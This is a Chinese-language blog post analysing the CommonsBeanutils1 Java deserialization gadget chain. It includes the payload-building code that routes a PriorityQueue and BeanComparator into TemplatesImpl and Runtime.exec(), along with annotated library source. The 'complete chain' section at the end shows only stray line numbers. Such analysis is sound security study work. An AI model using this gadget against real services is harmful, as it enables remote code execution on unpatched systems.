这篇博客介绍CommonsBeanutils1的构造方式,相比于之前分析过的其他Payload。这次利用的beanutils.BeanComparator
、beanutils.PropertyUtils
类的调用链更长,但最终又会回到之前介绍过的调用链上。
CommonsBeanutils1的Payload构造方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public Object getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); final BeanComparator comparator = new BeanComparator("lowestSetBit" ); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , comparator); queue.add(new BigInteger("1" )); queue.add(new BigInteger("1" )); Reflections.setFieldValue(comparator, "property" , "outputProperties" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" ); queueArray[0 ] = templates; queueArray[1 ] = templates; return queue; }
前面的套路都是一样的,在反序列化时经历PriorityQueue.readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> BeanComparator.compare()
。所以,接下里分析下BeanComparator
类:
BeanComparator
类1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public BeanComparator ( String property ) { this ( property, ComparableComparator.getInstance() ); } public BeanComparator ( String property, Comparator<?> comparator ) { setProperty( property ); if (comparator != null ) { this .comparator = comparator; } else { this .comparator = ComparableComparator.getInstance(); } } public void setProperty ( String property ) { this .property = property; } public int compare ( T o1, T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); * * * * }
再来看看PropertyUtils
类中对应的方法:
1 2 3 4 5 6 7 8 public static Object getProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return (PropertyUtilsBean.getInstance().getProperty(bean, name)); }
PropertyUtilsBean
类1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 protected static PropertyUtilsBean getInstance () { return BeanUtilsBean.getInstance().getPropertyUtils(); } public Object getProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return (getNestedProperty(bean, name)); } public Object getNestedProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { * * * * while (resolver.hasNested(name)) { * * * * } if (bean instanceof Map) { bean = getPropertyOfMapBean((Map<?, ?>) bean, name); } else if (resolver.isMapped(name)) { * * * * } else { bean = getSimpleProperty(bean, name); } return bean; } public Object getSimpleProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { * * * * PropertyDescriptor descriptor = getPropertyDescriptor(bean, name); if (descriptor == null ) { throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'" ); } Method readMethod = getReadMethod(bean.getClass(), descriptor); if (readMethod == null ) { throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'" ); } Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); return (value); } private Object invokeMethod ( Method method, Object bean, Object[] values) throws IllegalAccessException, InvocationTargetException { if (bean == null ) { throw new IllegalArgumentException("No bean specified " + "- this should have been checked before reaching this method" ); } try { return method.invoke(bean, values); } catch (NullPointerException cause) { * * * * } }
这样,调用链在这里又回到了TemplatesImpl
类对象中:
1 2 3 4 5 6 7 8 9 10 11 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
接下来的调用步骤就很熟悉了:TemplatesImpl.newTransformer()->getTransletInstance()->Class.newInstance()->---Method.invoke()->Runtime.exec()
完整构造链 整理一下,完整的调用过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25